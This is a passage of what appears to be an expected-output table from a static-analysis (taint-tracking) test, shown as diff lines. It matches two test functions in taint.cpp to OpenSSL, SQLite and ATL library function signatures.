taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_PURPOSE_set | 0 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_TRUST_set | 0 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | 